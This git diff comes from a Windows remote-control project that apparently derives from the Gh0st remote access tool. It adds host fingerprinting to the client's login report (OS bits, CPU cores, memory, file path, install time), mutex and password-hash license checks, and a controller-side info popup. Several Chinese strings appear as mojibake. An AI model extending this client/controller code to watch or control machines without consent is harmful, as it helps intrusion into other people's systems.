diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index c991a8e..1eda752 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -198,6 +198,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) switch (szBuffer[0]) { case CMD_AUTHORIZATION: { +#ifndef _DEBUG + HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); + if (hMutex == NULL) // 没有互斥量,主程序可能未运行 + break; + CloseHandle(hMutex); +#endif char buf[100] = {}, *passCode = buf + 5; memcpy(buf, szBuffer, min(sizeof(buf), ulLength)); char path[MAX_PATH] = { 0 }; diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 3f34e82..6142bd1 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -179,6 +179,50 @@ std::string getProcessTime() { return buffer; } +int getOSBits() { + SYSTEM_INFO si; + GetNativeSystemInfo(&si); + + if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || + si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) { + return 64; + } + else { + return 32; + } +} + +// 检查CPU核心数 +// SYSTEM_INFO.dwNumberOfProcessors +int GetCPUCores() +{ + INT i = 0; +#ifdef _WIN64 + // 在 x64 下,我们需要使用 `NtQuerySystemInformation` + SYSTEM_INFO sysInfo; + GetSystemInfo(&sysInfo); + i = sysInfo.dwNumberOfProcessors; // 获取 CPU 核心数 +#else + _asm { // x64编译模式下不支持__asm的汇编嵌入 + mov eax, dword ptr fs : [0x18] ; // TEB + mov eax, dword ptr ds : [eax + 0x30] ; // PEB + mov eax, dword ptr ds : [eax + 0x64] ; + mov i, eax; + } +#endif + Mprintf("此计算机CPU核心: %d\n", i); + return i; +} + +double GetMemorySizeGB() { + _MEMORYSTATUSEX mst; + mst.dwLength = sizeof(mst); + GlobalMemoryStatusEx(&mst); + double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024); + Mprintf("此计算机内存: %fGB\n", GB); + return GB; +} + LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) { LOGIN_INFOR LoginInfor; @@ -200,10 +244,10 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) LoginInfor.dwCPUMHz = dwCPUMHz; LoginInfor.bWebCamIsExist = bWebCamIsExist; strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); - sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType())); - LoginInfor.AddReserved("?"); // 系统位数 - LoginInfor.AddReserved("?"); // CPU核数 - LoginInfor.AddReserved("?"); // 系统内存 + LoginInfor.AddReserved(GetClientType(conn.ClientType())); // 类型 + LoginInfor.AddReserved(getOSBits()); // 系统位数 + LoginInfor.AddReserved(GetCPUCores()); // CPU核数 + LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存 char buf[_MAX_PATH] = {}; GetModuleFileNameA(NULL, buf, sizeof(buf)); LoginInfor.AddReserved(buf); // 文件路径 @@ -214,13 +258,31 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) installTime = ToPekingTimeAsString(nullptr);; WriteAppSettingA("install_time", installTime); } - LoginInfor.AddReserved(installTime.c_str()); + LoginInfor.AddReserved(installTime.c_str()); // 安装时间 + LoginInfor.AddReserved("?"); // 安装信息 + LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数 + std::string str; +#ifndef _DEBUG + HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); + if (hMutex != NULL) { + CloseHandle(hMutex); +#else + { +#endif + GET_FILEPATH(buf, "settings.ini"); + char auth[_MAX_PATH] = { 0 }; + GetPrivateProfileStringA("settings", "Password", "", auth, sizeof(auth), buf); + str = std::string(auth); + str.erase(std::remove(str.begin(), str.end(), ' '), str.end()); + auto list = StringToVector(str, '-', 3); + str = list[1]; + } + LoginInfor.AddReserved(str.c_str()); // 授权信息 bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 || strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; std::string masterHash(skCrypt(MASTER_HASH)); const char* id = isDefault ? masterHash.c_str() : conn.szFlag; memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16)); - return LoginInfor; } diff --git a/common/commands.h b/common/commands.h index 6b95521..4373ac3 100644 --- a/common/commands.h +++ b/common/commands.h @@ -600,6 +600,20 @@ inline std::vector StringToVector(const std::string& str, char ch, return result; } +enum LOGIN_RES { + RES_CLIENT_TYPE = 0, // 类型 + RES_SYSTEM_BITS = 1, // 系统位数 + RES_SYSTEM_CPU = 2, // CPU核数 + RES_SYSTEM_MEM = 3, // 系统内存 + RES_FILE_PATH = 4, // 文件路径 + RES_RESVERD = 5, // ? + RES_INSTALL_TIME = 6, // 安装时间 + RES_INSTALL_INFO = 7, // 安装信息 + RES_PROGRAM_BITS = 8, // 程序位数 + RES_EXPIRED_DATE = 9, // 到期日期 + RES_MAX, +}; + // 服务上线后发送的计算机信息 // 此结构体一旦发生变化(比如大小),则以前版本的客户端无法连接新版主控. // 新版客户端也无法连接老版本的主控程序. diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index e972222..0dc5367 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -78,17 +78,20 @@ CMy2015RemoteApp theApp; // CMy2015RemoteApp 初始化 +std::string GetPwdHash(); + BOOL CMy2015RemoteApp::InitInstance() { -#ifndef _DEBUG - m_Mutex = CreateMutex(NULL, FALSE, "YAMA.EXE"); - if (ERROR_ALREADY_EXISTS == GetLastError()) - { - CloseHandle(m_Mutex); - m_Mutex = NULL; - return FALSE; + std::string masterHash(skCrypt(MASTER_HASH)); + if (GetPwdHash() != masterHash) { + m_Mutex = CreateMutex(NULL, FALSE, "YAMA.EXE"); + if (ERROR_ALREADY_EXISTS == GetLastError()) + { + CloseHandle(m_Mutex); + m_Mutex = NULL; + return FALSE; + } } -#endif SetUnhandledExceptionFilter(&whenbuged); diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index c4b74eb..8a5d66a 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -44,6 +44,7 @@ #define UM_ICONNOTIFY WM_USER+100 #define TIMER_CHECK 1 +#define TIMER_CLOSEWND 2 typedef struct { @@ -387,6 +388,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_H264_DESKTOP, &CMy2015RemoteDlg::OnOnlineH264Desktop) ON_COMMAND(ID_WHAT_IS_THIS, &CMy2015RemoteDlg::OnWhatIsThis) ON_COMMAND(ID_ONLINE_AUTHORIZE, &CMy2015RemoteDlg::OnOnlineAuthorize) + ON_NOTIFY(NM_CLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnListClick) END_MESSAGE_MAP() @@ -518,6 +520,7 @@ VOID CMy2015RemoteDlg::InitControl() g_Column_Online_Width+=g_Column_Data_Online[i].nWidth; } + m_CList_Online.ModifyStyle(0, LVS_SHOWSELALWAYS); m_CList_Online.SetExtendedStyle(style); for (int i = 0; i < g_Column_Count_Message; ++i) @@ -572,9 +575,10 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName } LeaveCriticalSection(&m_cs); - CString install = v[6].empty() ? "?" : v[6].c_str(), path = v[4].empty() ? "?" : v[4].c_str(); + CString install = v[RES_INSTALL_TIME].empty() ? "?" : v[RES_INSTALL_TIME].c_str(); + CString path = v[RES_FILE_PATH].empty() ? "?" : v[RES_FILE_PATH].c_str(); CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing, - ver, install, startTime, v[0].empty() ? "?" : v[0].c_str(), path }; + ver, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path }; auto id = CONTEXT_OBJECT::CalculateID(data); bool modify = false; CString loc = GetClientMapData(id, MAP_LOCATION); @@ -586,7 +590,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName } } data[ONLINELIST_LOCATION] = loc; - ContextObject->SetClientInfo(data); + ContextObject->SetClientInfo(data, v); ContextObject->SetID(id); EnterCriticalSection(&m_cs); @@ -947,6 +951,22 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) MessageBox("璇峰強鏃跺褰撳墠涓绘帶绋嬪簭鎺堟潈: 鍦ㄥ伐鍏疯彍鍗曚腑鐢熸垚鍙d护!", "鎻愮ず", MB_ICONWARNING); } } + if (nIDEvent == TIMER_CLOSEWND) { + DeletePopupWindow(); + } + + CDialogEx::OnTimer(nIDEvent); +} + + +void CMy2015RemoteDlg::DeletePopupWindow() { + if (m_pFloatingTip) + { + if (::IsWindow(m_pFloatingTip->GetSafeHwnd())) + m_pFloatingTip->DestroyWindow(); + SAFE_DELETE(m_pFloatingTip); + } + KillTimer(TIMER_CLOSEWND); } @@ -1933,7 +1953,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) strVideo = m_settings.DetectSoftware ? "鏃" : LoginInfor->bWebCamIsExist ? "鏈" : "鏃"; strAddr.Format("%d", nSocket); - auto v = LoginInfor->ParseReserved(10); + auto v = LoginInfor->ParseReserved(RES_MAX); AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject); delete LoginInfor; return S_OK; @@ -2391,6 +2411,20 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg) return TRUE; } + if ((pMsg->message == WM_LBUTTONDOWN || pMsg->message == WM_RBUTTONDOWN) && m_pFloatingTip) + { + HWND hTipWnd = m_pFloatingTip->GetSafeHwnd(); + if (::IsWindow(hTipWnd)) + { + CPoint pt(pMsg->pt); + CRect tipRect; + ::GetWindowRect(hTipWnd, &tipRect); + if (!tipRect.PtInRect(pt)){ + DeletePopupWindow(); + } + } + } + return CDialogEx::PreTranslateMessage(pMsg); } @@ -2840,3 +2874,60 @@ void CMy2015RemoteDlg::OnOnlineAuthorize() memcpy(bToken+1, &days, sizeof(days)); SendSelectedCommand(bToken, sizeof(bToken)); } + +void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) +{ + LPNMITEMACTIVATE pNMItem = (LPNMITEMACTIVATE)pNMHDR; + + if (pNMItem->iItem >= 0) + { + // 鑾峰彇鏁版嵁 + CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(pNMItem->iItem); + CString res[RES_MAX]; + CString startTime = ctx->GetClientData(ONLINELIST_LOGINTIME); + ctx->GetAdditionalData(res); + + // 鎷兼帴鍐呭 + CString strText; + std::string expired = res[RES_EXPIRED_DATE]; + expired = expired.empty() ? "" : " Expired on " + expired; + strText.Format(_T("鏂囦欢璺緞: %s%s\r\n绯荤粺淇℃伅: %s 浣 %s 鏍稿績 %s GB\r\n鍚姩淇℃伅: %s %s"), + res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 浣 ", res[RES_FILE_PATH], + res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str()); + + // 鑾峰彇榧犳爣浣嶇疆 + CPoint pt; + GetCursorPos(&pt); + + // 娓呯悊鏃ф彁绀 + DeletePopupWindow(); + + // 鍒涘缓鎻愮ず绐楀彛 + m_pFloatingTip = new CWnd(); + int width = res[RES_FILE_PATH].GetLength() * 10; + width = min(max(width, 360), 800); + CRect rect(pt.x, pt.y, pt.x + width, pt.y + 50); // 瀹藉害銆侀珮搴 + + BOOL bOk = m_pFloatingTip->CreateEx( + WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE, + _T("STATIC"), + strText, + WS_POPUP | WS_VISIBLE | WS_BORDER | SS_LEFT | SS_NOTIFY, + rect, + this, + 0); + + if (bOk) + { + m_pFloatingTip->SetFont(GetFont()); + m_pFloatingTip->ShowWindow(SW_SHOW); + SetTimer(TIMER_CLOSEWND, 5000, nullptr); + } + else + { + SAFE_DELETE(m_pFloatingTip); + } + } + + *pResult = 0; +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 4b83ca7..22d80d3 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -171,9 +171,12 @@ public: VOID MessageHandle(CONTEXT_OBJECT* ContextObject); VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength); // 显示用户上线信息 + CWnd* m_pFloatingTip=nullptr; CListCtrl m_CList_Online; CListCtrl m_CList_Message; + void DeletePopupWindow(); + CStatusBar m_StatusBar; //状态条 CTrueColorToolBar m_ToolBar; @@ -246,4 +249,5 @@ public: afx_msg void OnOnlineH264Desktop(); afx_msg void OnWhatIsThis(); afx_msg void OnOnlineAuthorize(); + void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); }; diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index ba40149..18c5d63 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -214,6 +214,7 @@ enum IOType typedef struct CONTEXT_OBJECT { CString sClientInfo[ONLINELIST_MAX]; + CString additonalInfo[RES_MAX]; SOCKET sClientSocket; WSABUF wsaInBuf; WSABUF wsaOutBuffer; @@ -245,16 +246,22 @@ typedef struct CONTEXT_OBJECT for (int i = 0; i < ONLINELIST_MAX; i++) { sClientInfo[i].Empty(); } + for (int i = 0; i < RES_MAX; i++) { + additonalInfo[i].Empty(); + } CompressMethod = COMPRESS_ZSTD; Parser.Reset(); bLogin = FALSE; m_bProxyConnected = FALSE; } - VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX]){ + VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector& a = {}) { for (int i = 0; i < ONLINELIST_MAX; i++) { sClientInfo[i] = s[i]; } + for (int i = 0; i < a.size(); i++) { + additonalInfo[i] = a[i].c_str(); + } } PBYTE GetBuffer(int offset) { return InDeCompressedBuffer.GetBuffer(offset); @@ -268,6 +275,12 @@ typedef struct CONTEXT_OBJECT CString GetClientData(int index) const{ return sClientInfo[index]; } + void GetAdditionalData(CString(&s)[RES_MAX]) const { + for (int i = 0; i < RES_MAX; i++) + { + s[i] = additonalInfo[i]; + } + } void CancelIO() { SAFE_CANCELIO(sClientSocket); }